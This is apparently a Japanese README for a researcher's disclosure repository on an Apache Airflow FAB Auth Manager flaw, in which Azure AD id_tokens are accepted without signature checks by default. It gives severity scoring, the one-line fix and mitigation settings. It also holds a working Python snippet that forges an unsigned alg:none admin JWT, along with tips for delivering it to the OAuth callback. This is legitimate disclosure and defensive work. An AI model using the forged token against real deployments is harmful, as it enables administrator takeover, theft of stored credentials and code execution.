CVE-2026-59243 — Apache Airflow FAB Auth Manager JWT署名検証バイパス

韓国語: README.ko.md

• Apache勧告: https://lists.apache.org/thread/x4784l7z00tl3gw4tv2dmvoon77rxgpl (2026-07-29公開)
• CVEレコード: https://www.cve.org/CVERecord?id=CVE-2026-59243
• 修正バージョン: apache-airflow-providers-fab==3.7.3
• 分類: CWE-347、事前認証JWT署名検証バイパス → 管理者乗っ取り
• 報告者: MalHyuk (https://github.com/MalHyuk)

何が問題だったのか

Apache AirflowのFAB (Flask App Builder) Auth Managerは、_decode_and_validate_azure_jwt()内でAzure AD OAuth id_tokenをデコードします。その関数ではverify_signatureがデフォルトでFalseになっていました。

# providers/fab/.../override.py  (報告時点の行番号2331–2341)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
    verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
        "verify_signature", False,  # ← デフォルトはFalse
    )
    if verify_signature:
        # authlib JWK検証、クレームを返す
        ...
    # デフォルトパス: 署名検証を完全にスキップ
    return jwt.decode(id_token, options={"verify_signature": False})

オペレーターがclient_kwargsで明示的にverify_signature: trueを設定しない限り、ログインフロー全体で署名検証がオフになります。どのようなトークンが届いても、そのクレームが呼び出し元のIDとして受け入れられます。

同じファイルにあるAuthentik統合はデフォルトでTrueになっています:

# providers/fab/.../override.py:414–416  (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
    "verify_signature", True,   # ← こちらはデフォルトでTrue
)

同じファイル、同じ構造、逆のデフォルト値。この対比こそが、Azureのデフォルトが意図的なポリシー選択ではないと私が最初に気付いたきっかけです。

攻撃シナリオ

AirflowがFAB Auth Manager + Azure AD OAuthでデプロイされ、client_kwargsが変更されていないと仮定します。(デフォルトインストール)

任意のクレームを持つalg: none JWTを偽造します:

import base64, json

def b64u(d):
    return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()

header  = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
    "sub":   "[email protected]",
    "email": "[email protected]",
    "name":  "Administrator",
    "roles": ["Admin"],
    "iss":   "https://login.microsoftonline.com/<tenant>/v2.0",
    "aud":   "<airflow-client-id>",
    "exp":   9999999999,
})
forged = f"{header}.{payload}."   # 末尾のドット: 空の署名

そのトークンをOAuthコールバック(/login/azure/authorizedまたは統合がマウントされている場所)に配信します。実際の配信方法はデプロイ環境によって異なります: 設定ミスのあるTLS終端プロキシを介したMITM、redirect_uri検証が甘いオープンリダイレクタ、または細工したstateでコールバックに直接アクセスする方法など。ターゲットが許す方法を選んでください。

トークンがコールバックに到達した瞬間、FABは_decode_and_validate_azure_jwtを呼び出し、デフォルトパスに入り、偽造されたクレームをセッションに渡します。roles: ["Admin"]を送信したので、管理者としてログインできます。Airflowではこれは事実上すべてを意味します: Connections、Variables、Fernetキー、そして新しいDAGをプッシュすることでワーカーとして任意のコード実行が可能です。

深刻度

3つの異なる評価が3つの異なる場所に着地しましたが、これは実際に有益です:

• NVD (権威) — 9.8 CRITICAL  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• 私のCVSS 3.1 — 8.1 High  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
• 私のCVSS 4.0 — High  CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
• Apache勧告 — moderate

私とNVDの差は1つのメトリックだけです: AC。私はMITM配信経路を狭く考えていたためHとしました。NVDのアナリストはAC:Lとし、id_tokenをコールバックに届けるあらゆる方法(通常のOAuthフロー悪用を含む)を通常の攻撃者能力として扱いました。振り返ってみると、AC:Lの方がより妥当な解釈です — 壊れた署名チェックを悪用するのに厳密に経路上にいる必要はありません。だからこそNVD/Strixは9.8に到達し、それがほとんどのCVEデータベースやスキャナーに表示されるスコアです。

Apacheのmoderateは独自のリスクモデルに基づく別の判断であり、「この前提条件が実際のデプロイでどの程度一般的に発生するか」に重点を置き、影響の上限にはあまり重点を置いていません。9.8と矛盾するものではなく、単に異なる質問に答えているだけです。

修正

1文字の変更。

- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)

AzureのデフォルトをAuthentikに合わせます。署名検証を本当にオフにする必要がある場合(オンプレミスのAzure ADレプリカ上の自己署名JWKSなど)は、client_kwargsでverify_signature: falseを設定してオプトインできます。デフォルトで安全でない状態で出荷するよりはるかに良い形です。

2026-07-07にPR #69374 / コミット 54259aeとしてマージされました。2026-07-28にapache-airflow-providers-fab==3.7.3でリリースされました。

すぐにアップグレードできない場合は、webserver_config.pyで明示的に設定してください:

OAUTH_PROVIDERS = [
    {
        "name": "azure",
        "client_kwargs": {"verify_signature": True, ...},
        # ...
    },
]

それ以外にも: OAuthコールバックをHTTPSのみにし、厳格なredirect_uri許可リストを維持し、攻撃を受けた可能性がある場合はAirflow Connectionsに保持されている認証情報をローテーションしてください。

再現

Docker + pwntoolsがpoc/にセットアップされています:

• poc/server.pyは脆弱なパス(jwt.decode(..., options={"verify_signature": False}))を小さなFlaskアプリに分離します。
• poc/exploit_airflow_jwt.pyはJWTを偽造し、コールバックにアクセスし、管理者ビューからプレースホルダーシークレットをダンプします。
• poc/Dockerfileとpoc/docker-compose.ymlはターゲットを127.0.0.1:5002(ループバックバインド)で起動します。

単一コマンド:

cd poc/
./run.sh

共有ボックスで実行する場合は、開始前にcomposeバインドを確認してください。

行番号参照マップ

無関係なリファクタリングにより、元の報告と現在のmainの間で行番号が変更されました。ファイルパスは変更されていません。

ファイル: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py

タイムライン

レイアウト

CVE-2026-59243/
├── README.md              (このファイル)
├── README.ko.md           韓国語版
├── LICENSE                MIT
├── check_advisory.sh      公開ウォッチャー (再利用のため保持; 現在はアイドル状態)
├── patch/fix.diff         1文字修正 (報告時点の行に固定)
└── poc/                   Docker + pwntools PoC

クレジット / 連絡先

• 発見者: MalHyuk — https://github.com/MalHyuk
• ベンダー: [email protected]
• CNA: Apache Software Foundation

ライセンス

MIT (LICENSE)。PoCは再現と防御的研究のみを目的としています。所有していないシステムや、書面によるテスト許可がないシステムには使用しないでください。